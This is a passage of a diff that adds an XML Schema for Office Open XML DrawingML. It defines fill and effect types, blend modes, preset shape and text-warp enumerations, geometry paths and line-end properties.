type="CT_ColorReplaceEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="duotone" type="CT_DuotoneEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="fillOverlay" type="CT_FillOverlayEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="grayscl" type="CT_GrayscaleEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="hsl" type="CT_HSLEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="lum" type="CT_LuminanceEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="tint" type="CT_TintEffect" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_Blob"/> + <xsd:attribute name="cstate" type="ST_BlipCompression" use="optional" default="none"/> + </xsd:complexType> + <xsd:complexType name="CT_BlipFillProperties"> + <xsd:sequence> + <xsd:element name="blip" type="CT_Blip" minOccurs="0" maxOccurs="1"/> + <xsd:element name="srcRect" type="CT_RelativeRect" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_FillModeProperties" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="dpi" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="rotWithShape" type="xsd:boolean" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_PresetPatternVal"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="pct5"/> + <xsd:enumeration value="pct10"/> + <xsd:enumeration value="pct20"/> + <xsd:enumeration value="pct25"/> + <xsd:enumeration value="pct30"/> + <xsd:enumeration value="pct40"/> + <xsd:enumeration value="pct50"/> + <xsd:enumeration value="pct60"/> + <xsd:enumeration value="pct70"/> + <xsd:enumeration value="pct75"/> + <xsd:enumeration value="pct80"/> + <xsd:enumeration value="pct90"/> + <xsd:enumeration value="horz"/> + <xsd:enumeration value="vert"/> + <xsd:enumeration value="ltHorz"/> + <xsd:enumeration value="ltVert"/> + <xsd:enumeration value="dkHorz"/> + <xsd:enumeration value="dkVert"/> + <xsd:enumeration value="narHorz"/> + <xsd:enumeration value="narVert"/> + <xsd:enumeration value="dashHorz"/> + <xsd:enumeration value="dashVert"/> + <xsd:enumeration value="cross"/> + <xsd:enumeration value="dnDiag"/> + <xsd:enumeration value="upDiag"/> + <xsd:enumeration value="ltDnDiag"/> + <xsd:enumeration value="ltUpDiag"/> + <xsd:enumeration value="dkDnDiag"/> + <xsd:enumeration value="dkUpDiag"/> + <xsd:enumeration value="wdDnDiag"/> + <xsd:enumeration value="wdUpDiag"/> + <xsd:enumeration value="dashDnDiag"/> + <xsd:enumeration value="dashUpDiag"/> + <xsd:enumeration value="diagCross"/> + <xsd:enumeration value="smCheck"/> + <xsd:enumeration value="lgCheck"/> + <xsd:enumeration value="smGrid"/> + <xsd:enumeration value="lgGrid"/> + <xsd:enumeration value="dotGrid"/> + <xsd:enumeration value="smConfetti"/> + <xsd:enumeration value="lgConfetti"/> + <xsd:enumeration value="horzBrick"/> + <xsd:enumeration value="diagBrick"/> + <xsd:enumeration value="solidDmnd"/> + <xsd:enumeration value="openDmnd"/> + <xsd:enumeration value="dotDmnd"/> + <xsd:enumeration value="plaid"/> + <xsd:enumeration value="sphere"/> + <xsd:enumeration value="weave"/> + <xsd:enumeration value="divot"/> + <xsd:enumeration value="shingle"/> + <xsd:enumeration value="wave"/> + <xsd:enumeration value="trellis"/> + <xsd:enumeration value="zigZag"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PatternFillProperties"> + <xsd:sequence> + <xsd:element name="fgClr" type="CT_Color" minOccurs="0" maxOccurs="1"/> + <xsd:element name="bgClr" type="CT_Color" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="prst" type="ST_PresetPatternVal" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_GroupFillProperties"/> + <xsd:group name="EG_FillProperties"> + <xsd:choice> + <xsd:element name="noFill" type="CT_NoFillProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="solidFill" type="CT_SolidColorFillProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="gradFill" type="CT_GradientFillProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="blipFill" type="CT_BlipFillProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="pattFill" type="CT_PatternFillProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="grpFill" type="CT_GroupFillProperties" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_FillProperties"> + <xsd:sequence> + <xsd:group ref="EG_FillProperties" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_FillEffect"> + <xsd:sequence> + <xsd:group ref="EG_FillProperties" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_BlendMode"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="over"/> + <xsd:enumeration value="mult"/> + <xsd:enumeration value="screen"/> + <xsd:enumeration value="darken"/> + <xsd:enumeration value="lighten"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_FillOverlayEffect"> + <xsd:sequence> + <xsd:group ref="EG_FillProperties" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="blend" type="ST_BlendMode" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_EffectReference"> + <xsd:attribute name="ref" type="xsd:token" use="required"/> + </xsd:complexType> + <xsd:group name="EG_Effect"> + <xsd:choice> + <xsd:element name="cont" type="CT_EffectContainer" minOccurs="1" maxOccurs="1"/> + <xsd:element name="effect" type="CT_EffectReference" minOccurs="1" maxOccurs="1"/> + <xsd:element name="alphaBiLevel" type="CT_AlphaBiLevelEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="alphaCeiling" type="CT_AlphaCeilingEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="alphaFloor" type="CT_AlphaFloorEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="alphaInv" type="CT_AlphaInverseEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="alphaMod" type="CT_AlphaModulateEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="alphaModFix" type="CT_AlphaModulateFixedEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="alphaOutset" type="CT_AlphaOutsetEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="alphaRepl" type="CT_AlphaReplaceEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="biLevel" type="CT_BiLevelEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="blend" type="CT_BlendEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="blur" type="CT_BlurEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="clrChange" type="CT_ColorChangeEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="clrRepl" type="CT_ColorReplaceEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="duotone" type="CT_DuotoneEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="fill" type="CT_FillEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="fillOverlay" type="CT_FillOverlayEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="glow" type="CT_GlowEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="grayscl" type="CT_GrayscaleEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="hsl" type="CT_HSLEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="innerShdw" type="CT_InnerShadowEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="lum" type="CT_LuminanceEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="outerShdw" type="CT_OuterShadowEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="prstShdw" type="CT_PresetShadowEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="reflection" type="CT_ReflectionEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="relOff" type="CT_RelativeOffsetEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="softEdge" type="CT_SoftEdgesEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="tint" type="CT_TintEffect" minOccurs="1" maxOccurs="1"/> + <xsd:element name="xfrm" type="CT_TransformEffect" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:simpleType name="ST_EffectContainerType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="sib"/> + <xsd:enumeration value="tree"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_EffectContainer"> + <xsd:group ref="EG_Effect" minOccurs="0" maxOccurs="unbounded"/> + <xsd:attribute name="type" type="ST_EffectContainerType" use="optional" default="sib"/> + <xsd:attribute name="name" type="xsd:token" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_AlphaModulateEffect"> + <xsd:sequence> + <xsd:element name="cont" type="CT_EffectContainer" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_BlendEffect"> + <xsd:sequence> + <xsd:element name="cont" type="CT_EffectContainer" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="blend" type="ST_BlendMode" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_EffectList"> + <xsd:sequence> + <xsd:element name="blur" type="CT_BlurEffect" minOccurs="0" maxOccurs="1"/> + <xsd:element name="fillOverlay" type="CT_FillOverlayEffect" minOccurs="0" maxOccurs="1"/> + <xsd:element name="glow" type="CT_GlowEffect" minOccurs="0" maxOccurs="1"/> + <xsd:element name="innerShdw" type="CT_InnerShadowEffect" minOccurs="0" maxOccurs="1"/> + <xsd:element name="outerShdw" type="CT_OuterShadowEffect" minOccurs="0" maxOccurs="1"/> + <xsd:element name="prstShdw" type="CT_PresetShadowEffect" minOccurs="0" maxOccurs="1"/> + <xsd:element name="reflection" type="CT_ReflectionEffect" minOccurs="0" maxOccurs="1"/> + <xsd:element name="softEdge" type="CT_SoftEdgesEffect" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_EffectProperties"> + <xsd:choice> + <xsd:element name="effectLst" type="CT_EffectList" minOccurs="1" maxOccurs="1"/> + <xsd:element name="effectDag" type="CT_EffectContainer" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_EffectProperties"> + <xsd:sequence> + <xsd:group ref="EG_EffectProperties" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="blip" type="CT_Blip"/> + <xsd:simpleType name="ST_ShapeType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="line"/> + <xsd:enumeration value="lineInv"/> + <xsd:enumeration value="triangle"/> + <xsd:enumeration value="rtTriangle"/> + <xsd:enumeration value="rect"/> + <xsd:enumeration value="diamond"/> + <xsd:enumeration value="parallelogram"/> + <xsd:enumeration value="trapezoid"/> + <xsd:enumeration value="nonIsoscelesTrapezoid"/> + <xsd:enumeration value="pentagon"/> + <xsd:enumeration value="hexagon"/> + <xsd:enumeration value="heptagon"/> + <xsd:enumeration value="octagon"/> + <xsd:enumeration value="decagon"/> + <xsd:enumeration value="dodecagon"/> + <xsd:enumeration value="star4"/> + <xsd:enumeration value="star5"/> + <xsd:enumeration value="star6"/> + <xsd:enumeration value="star7"/> + <xsd:enumeration value="star8"/> + <xsd:enumeration value="star10"/> + <xsd:enumeration value="star12"/> + <xsd:enumeration value="star16"/> + <xsd:enumeration value="star24"/> + <xsd:enumeration value="star32"/> + <xsd:enumeration value="roundRect"/> + <xsd:enumeration value="round1Rect"/> + <xsd:enumeration value="round2SameRect"/> + <xsd:enumeration value="round2DiagRect"/> + <xsd:enumeration value="snipRoundRect"/> + <xsd:enumeration value="snip1Rect"/> + <xsd:enumeration value="snip2SameRect"/> + <xsd:enumeration value="snip2DiagRect"/> + <xsd:enumeration value="plaque"/> + <xsd:enumeration value="ellipse"/> + <xsd:enumeration value="teardrop"/> + <xsd:enumeration value="homePlate"/> + <xsd:enumeration value="chevron"/> + <xsd:enumeration value="pieWedge"/> + <xsd:enumeration value="pie"/> + <xsd:enumeration value="blockArc"/> + <xsd:enumeration value="donut"/> + <xsd:enumeration value="noSmoking"/> + <xsd:enumeration value="rightArrow"/> + <xsd:enumeration value="leftArrow"/> + <xsd:enumeration value="upArrow"/> + <xsd:enumeration value="downArrow"/> + <xsd:enumeration value="stripedRightArrow"/> + <xsd:enumeration value="notchedRightArrow"/> + <xsd:enumeration value="bentUpArrow"/> + <xsd:enumeration value="leftRightArrow"/> + <xsd:enumeration value="upDownArrow"/> + <xsd:enumeration value="leftUpArrow"/> + <xsd:enumeration value="leftRightUpArrow"/> + <xsd:enumeration value="quadArrow"/> + <xsd:enumeration value="leftArrowCallout"/> + <xsd:enumeration value="rightArrowCallout"/> + <xsd:enumeration value="upArrowCallout"/> + <xsd:enumeration value="downArrowCallout"/> + <xsd:enumeration value="leftRightArrowCallout"/> + <xsd:enumeration value="upDownArrowCallout"/> + <xsd:enumeration value="quadArrowCallout"/> + <xsd:enumeration value="bentArrow"/> + <xsd:enumeration value="uturnArrow"/> + <xsd:enumeration value="circularArrow"/> + <xsd:enumeration value="leftCircularArrow"/> + <xsd:enumeration value="leftRightCircularArrow"/> + <xsd:enumeration value="curvedRightArrow"/> + <xsd:enumeration value="curvedLeftArrow"/> + <xsd:enumeration value="curvedUpArrow"/> + <xsd:enumeration value="curvedDownArrow"/> + <xsd:enumeration value="swooshArrow"/> + <xsd:enumeration value="cube"/> + <xsd:enumeration value="can"/> + <xsd:enumeration value="lightningBolt"/> + <xsd:enumeration value="heart"/> + <xsd:enumeration value="sun"/> + <xsd:enumeration value="moon"/> + <xsd:enumeration value="smileyFace"/> + <xsd:enumeration value="irregularSeal1"/> + <xsd:enumeration value="irregularSeal2"/> + <xsd:enumeration value="foldedCorner"/> + <xsd:enumeration value="bevel"/> + <xsd:enumeration value="frame"/> + <xsd:enumeration value="halfFrame"/> + <xsd:enumeration value="corner"/> + <xsd:enumeration value="diagStripe"/> + <xsd:enumeration value="chord"/> + <xsd:enumeration value="arc"/> + <xsd:enumeration value="leftBracket"/> + <xsd:enumeration value="rightBracket"/> + <xsd:enumeration value="leftBrace"/> + <xsd:enumeration value="rightBrace"/> + <xsd:enumeration value="bracketPair"/> + <xsd:enumeration value="bracePair"/> + <xsd:enumeration value="straightConnector1"/> + <xsd:enumeration value="bentConnector2"/> + <xsd:enumeration value="bentConnector3"/> + <xsd:enumeration value="bentConnector4"/> + <xsd:enumeration value="bentConnector5"/> + <xsd:enumeration value="curvedConnector2"/> + <xsd:enumeration value="curvedConnector3"/> + <xsd:enumeration value="curvedConnector4"/> + <xsd:enumeration value="curvedConnector5"/> + <xsd:enumeration value="callout1"/> + <xsd:enumeration value="callout2"/> + <xsd:enumeration value="callout3"/> + <xsd:enumeration value="accentCallout1"/> + <xsd:enumeration value="accentCallout2"/> + <xsd:enumeration value="accentCallout3"/> + <xsd:enumeration value="borderCallout1"/> + <xsd:enumeration value="borderCallout2"/> + <xsd:enumeration value="borderCallout3"/> + <xsd:enumeration value="accentBorderCallout1"/> + <xsd:enumeration value="accentBorderCallout2"/> + <xsd:enumeration value="accentBorderCallout3"/> + <xsd:enumeration value="wedgeRectCallout"/> + <xsd:enumeration value="wedgeRoundRectCallout"/> + <xsd:enumeration value="wedgeEllipseCallout"/> + <xsd:enumeration value="cloudCallout"/> + <xsd:enumeration value="cloud"/> + <xsd:enumeration value="ribbon"/> + <xsd:enumeration value="ribbon2"/> + <xsd:enumeration value="ellipseRibbon"/> + <xsd:enumeration value="ellipseRibbon2"/> + <xsd:enumeration value="leftRightRibbon"/> + <xsd:enumeration value="verticalScroll"/> + <xsd:enumeration value="horizontalScroll"/> + <xsd:enumeration value="wave"/> + <xsd:enumeration value="doubleWave"/> + <xsd:enumeration value="plus"/> + <xsd:enumeration value="flowChartProcess"/> + <xsd:enumeration value="flowChartDecision"/> + <xsd:enumeration value="flowChartInputOutput"/> + <xsd:enumeration value="flowChartPredefinedProcess"/> + <xsd:enumeration value="flowChartInternalStorage"/> + <xsd:enumeration value="flowChartDocument"/> + <xsd:enumeration value="flowChartMultidocument"/> + <xsd:enumeration value="flowChartTerminator"/> + <xsd:enumeration value="flowChartPreparation"/> + <xsd:enumeration value="flowChartManualInput"/> + <xsd:enumeration value="flowChartManualOperation"/> + <xsd:enumeration value="flowChartConnector"/> + <xsd:enumeration value="flowChartPunchedCard"/> + <xsd:enumeration value="flowChartPunchedTape"/> + <xsd:enumeration value="flowChartSummingJunction"/> + <xsd:enumeration value="flowChartOr"/> + <xsd:enumeration value="flowChartCollate"/> + <xsd:enumeration value="flowChartSort"/> + <xsd:enumeration value="flowChartExtract"/> + <xsd:enumeration value="flowChartMerge"/> + <xsd:enumeration value="flowChartOfflineStorage"/> + <xsd:enumeration value="flowChartOnlineStorage"/> + <xsd:enumeration value="flowChartMagneticTape"/> + <xsd:enumeration value="flowChartMagneticDisk"/> + <xsd:enumeration value="flowChartMagneticDrum"/> + <xsd:enumeration value="flowChartDisplay"/> + <xsd:enumeration value="flowChartDelay"/> + <xsd:enumeration value="flowChartAlternateProcess"/> + <xsd:enumeration value="flowChartOffpageConnector"/> + <xsd:enumeration value="actionButtonBlank"/> + <xsd:enumeration value="actionButtonHome"/> + <xsd:enumeration value="actionButtonHelp"/> + <xsd:enumeration value="actionButtonInformation"/> + <xsd:enumeration value="actionButtonForwardNext"/> + <xsd:enumeration value="actionButtonBackPrevious"/> + <xsd:enumeration value="actionButtonEnd"/> + <xsd:enumeration value="actionButtonBeginning"/> + <xsd:enumeration value="actionButtonReturn"/> + <xsd:enumeration value="actionButtonDocument"/> + <xsd:enumeration value="actionButtonSound"/> + <xsd:enumeration value="actionButtonMovie"/> + <xsd:enumeration value="gear6"/> + <xsd:enumeration value="gear9"/> + <xsd:enumeration value="funnel"/> + <xsd:enumeration value="mathPlus"/> + <xsd:enumeration value="mathMinus"/> + <xsd:enumeration value="mathMultiply"/> + <xsd:enumeration value="mathDivide"/> + <xsd:enumeration value="mathEqual"/> + <xsd:enumeration value="mathNotEqual"/> + <xsd:enumeration value="cornerTabs"/> + <xsd:enumeration value="squareTabs"/> + <xsd:enumeration value="plaqueTabs"/> + <xsd:enumeration value="chartX"/> + <xsd:enumeration value="chartStar"/> + <xsd:enumeration value="chartPlus"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextShapeType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="textNoShape"/> + <xsd:enumeration value="textPlain"/> + <xsd:enumeration value="textStop"/> + <xsd:enumeration value="textTriangle"/> + <xsd:enumeration value="textTriangleInverted"/> + <xsd:enumeration value="textChevron"/> + <xsd:enumeration value="textChevronInverted"/> + <xsd:enumeration value="textRingInside"/> + <xsd:enumeration value="textRingOutside"/> + <xsd:enumeration value="textArchUp"/> + <xsd:enumeration value="textArchDown"/> + <xsd:enumeration value="textCircle"/> + <xsd:enumeration value="textButton"/> + <xsd:enumeration value="textArchUpPour"/> + <xsd:enumeration value="textArchDownPour"/> + <xsd:enumeration value="textCirclePour"/> + <xsd:enumeration value="textButtonPour"/> + <xsd:enumeration value="textCurveUp"/> + <xsd:enumeration value="textCurveDown"/> + <xsd:enumeration value="textCanUp"/> + <xsd:enumeration value="textCanDown"/> + <xsd:enumeration value="textWave1"/> + <xsd:enumeration value="textWave2"/> + <xsd:enumeration value="textDoubleWave1"/> + <xsd:enumeration value="textWave4"/> + <xsd:enumeration value="textInflate"/> + <xsd:enumeration value="textDeflate"/> + <xsd:enumeration value="textInflateBottom"/> + <xsd:enumeration value="textDeflateBottom"/> + <xsd:enumeration value="textInflateTop"/> + <xsd:enumeration value="textDeflateTop"/> + <xsd:enumeration value="textDeflateInflate"/> + <xsd:enumeration value="textDeflateInflateDeflate"/> + <xsd:enumeration value="textFadeRight"/> + <xsd:enumeration value="textFadeLeft"/> + <xsd:enumeration value="textFadeUp"/> + <xsd:enumeration value="textFadeDown"/> + <xsd:enumeration value="textSlantUp"/> + <xsd:enumeration value="textSlantDown"/> + <xsd:enumeration value="textCascadeUp"/> + <xsd:enumeration value="textCascadeDown"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_GeomGuideName"> + <xsd:restriction base="xsd:token"/> + </xsd:simpleType> + <xsd:simpleType name="ST_GeomGuideFormula"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:complexType name="CT_GeomGuide"> + <xsd:attribute name="name" type="ST_GeomGuideName" use="required"/> + <xsd:attribute name="fmla" type="ST_GeomGuideFormula" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_GeomGuideList"> + <xsd:sequence> + <xsd:element name="gd" type="CT_GeomGuide" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_AdjCoordinate"> + <xsd:union memberTypes="ST_Coordinate ST_GeomGuideName"/> + </xsd:simpleType> + <xsd:simpleType name="ST_AdjAngle"> + <xsd:union memberTypes="ST_Angle ST_GeomGuideName"/> + </xsd:simpleType> + <xsd:complexType name="CT_AdjPoint2D"> + <xsd:attribute name="x" type="ST_AdjCoordinate" use="required"/> + <xsd:attribute name="y" type="ST_AdjCoordinate" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_GeomRect"> + <xsd:attribute name="l" type="ST_AdjCoordinate" use="required"/> + <xsd:attribute name="t" type="ST_AdjCoordinate" use="required"/> + <xsd:attribute name="r" type="ST_AdjCoordinate" use="required"/> + <xsd:attribute name="b" type="ST_AdjCoordinate" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_XYAdjustHandle"> + <xsd:sequence> + <xsd:element name="pos" type="CT_AdjPoint2D" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="gdRefX" type="ST_GeomGuideName" use="optional"/> + <xsd:attribute name="minX" type="ST_AdjCoordinate" use="optional"/> + <xsd:attribute name="maxX" type="ST_AdjCoordinate" use="optional"/> + <xsd:attribute name="gdRefY" type="ST_GeomGuideName" use="optional"/> + <xsd:attribute name="minY" type="ST_AdjCoordinate" use="optional"/> + <xsd:attribute name="maxY" type="ST_AdjCoordinate" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_PolarAdjustHandle"> + <xsd:sequence> + <xsd:element name="pos" type="CT_AdjPoint2D" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="gdRefR" type="ST_GeomGuideName" use="optional"/> + <xsd:attribute name="minR" type="ST_AdjCoordinate" use="optional"/> + <xsd:attribute name="maxR" type="ST_AdjCoordinate" use="optional"/> + <xsd:attribute name="gdRefAng" type="ST_GeomGuideName" use="optional"/> + <xsd:attribute name="minAng" type="ST_AdjAngle" use="optional"/> + <xsd:attribute name="maxAng" type="ST_AdjAngle" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_ConnectionSite"> + <xsd:sequence> + <xsd:element name="pos" type="CT_AdjPoint2D" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="ang" type="ST_AdjAngle" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_AdjustHandleList"> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="ahXY" type="CT_XYAdjustHandle" minOccurs="1" maxOccurs="1"/> + <xsd:element name="ahPolar" type="CT_PolarAdjustHandle" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:complexType> + <xsd:complexType name="CT_ConnectionSiteList"> + <xsd:sequence> + <xsd:element name="cxn" type="CT_ConnectionSite" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Connection"> + <xsd:attribute name="id" type="ST_DrawingElementId" use="required"/> + <xsd:attribute name="idx" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Path2DMoveTo"> + <xsd:sequence> + <xsd:element name="pt" type="CT_AdjPoint2D" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Path2DLineTo"> + <xsd:sequence> + <xsd:element name="pt" type="CT_AdjPoint2D" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Path2DArcTo"> + <xsd:attribute name="wR" type="ST_AdjCoordinate" use="required"/> + <xsd:attribute name="hR" type="ST_AdjCoordinate" use="required"/> + <xsd:attribute name="stAng" type="ST_AdjAngle" use="required"/> + <xsd:attribute name="swAng" type="ST_AdjAngle" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Path2DQuadBezierTo"> + <xsd:sequence> + <xsd:element name="pt" type="CT_AdjPoint2D" minOccurs="2" maxOccurs="2"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Path2DCubicBezierTo"> + <xsd:sequence> + <xsd:element name="pt" type="CT_AdjPoint2D" minOccurs="3" maxOccurs="3"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Path2DClose"/> + <xsd:simpleType name="ST_PathFillMode"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="norm"/> + <xsd:enumeration value="lighten"/> + <xsd:enumeration value="lightenLess"/> + <xsd:enumeration value="darken"/> + <xsd:enumeration value="darkenLess"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Path2D"> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="close" type="CT_Path2DClose" minOccurs="1" maxOccurs="1"/> + <xsd:element name="moveTo" type="CT_Path2DMoveTo" minOccurs="1" maxOccurs="1"/> + <xsd:element name="lnTo" type="CT_Path2DLineTo" minOccurs="1" maxOccurs="1"/> + <xsd:element name="arcTo" type="CT_Path2DArcTo" minOccurs="1" maxOccurs="1"/> + <xsd:element name="quadBezTo" type="CT_Path2DQuadBezierTo" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cubicBezTo" type="CT_Path2DCubicBezierTo" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + <xsd:attribute name="w" type="ST_PositiveCoordinate" use="optional" default="0"/> + <xsd:attribute name="h" type="ST_PositiveCoordinate" use="optional" default="0"/> + <xsd:attribute name="fill" type="ST_PathFillMode" use="optional" default="norm"/> + <xsd:attribute name="stroke" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="extrusionOk" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_Path2DList"> + <xsd:sequence> + <xsd:element name="path" type="CT_Path2D" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_PresetGeometry2D"> + <xsd:sequence> + <xsd:element name="avLst" type="CT_GeomGuideList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="prst" type="ST_ShapeType" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_PresetTextShape"> + <xsd:sequence> + <xsd:element name="avLst" type="CT_GeomGuideList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="prst" type="ST_TextShapeType" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CustomGeometry2D"> + <xsd:sequence> + <xsd:element name="avLst" type="CT_GeomGuideList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="gdLst" type="CT_GeomGuideList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ahLst" type="CT_AdjustHandleList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="cxnLst" type="CT_ConnectionSiteList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="rect" type="CT_GeomRect" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pathLst" type="CT_Path2DList" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_Geometry"> + <xsd:choice> + <xsd:element name="custGeom" type="CT_CustomGeometry2D" minOccurs="1" maxOccurs="1"/> + <xsd:element name="prstGeom" type="CT_PresetGeometry2D" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:group name="EG_TextGeometry"> + <xsd:choice> + <xsd:element name="custGeom" type="CT_CustomGeometry2D" minOccurs="1" maxOccurs="1"/> + <xsd:element name="prstTxWarp" type="CT_PresetTextShape" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:simpleType name="ST_LineEndType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="triangle"/> + <xsd:enumeration value="stealth"/> + <xsd:enumeration value="diamond"/> + <xsd:enumeration value="oval"/> + <xsd:enumeration value="arrow"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_LineEndWidth"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="sm"/> + <xsd:enumeration value="med"/> + <xsd:enumeration value="lg"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_LineEndLength"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="sm"/> + <xsd:enumeration value="med"/> + <xsd:enumeration value="lg"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_LineEndProperties"> + <xsd:attribute name="type" type="ST_LineEndType" use="optional" default="none"/> + <xsd:attribute name="w" type="ST_LineEndWidth" use="optional"/> + <xsd:attribute name="len" type="ST_LineEndLength" use="optional"/> + </xsd:complexType> + <xsd:group 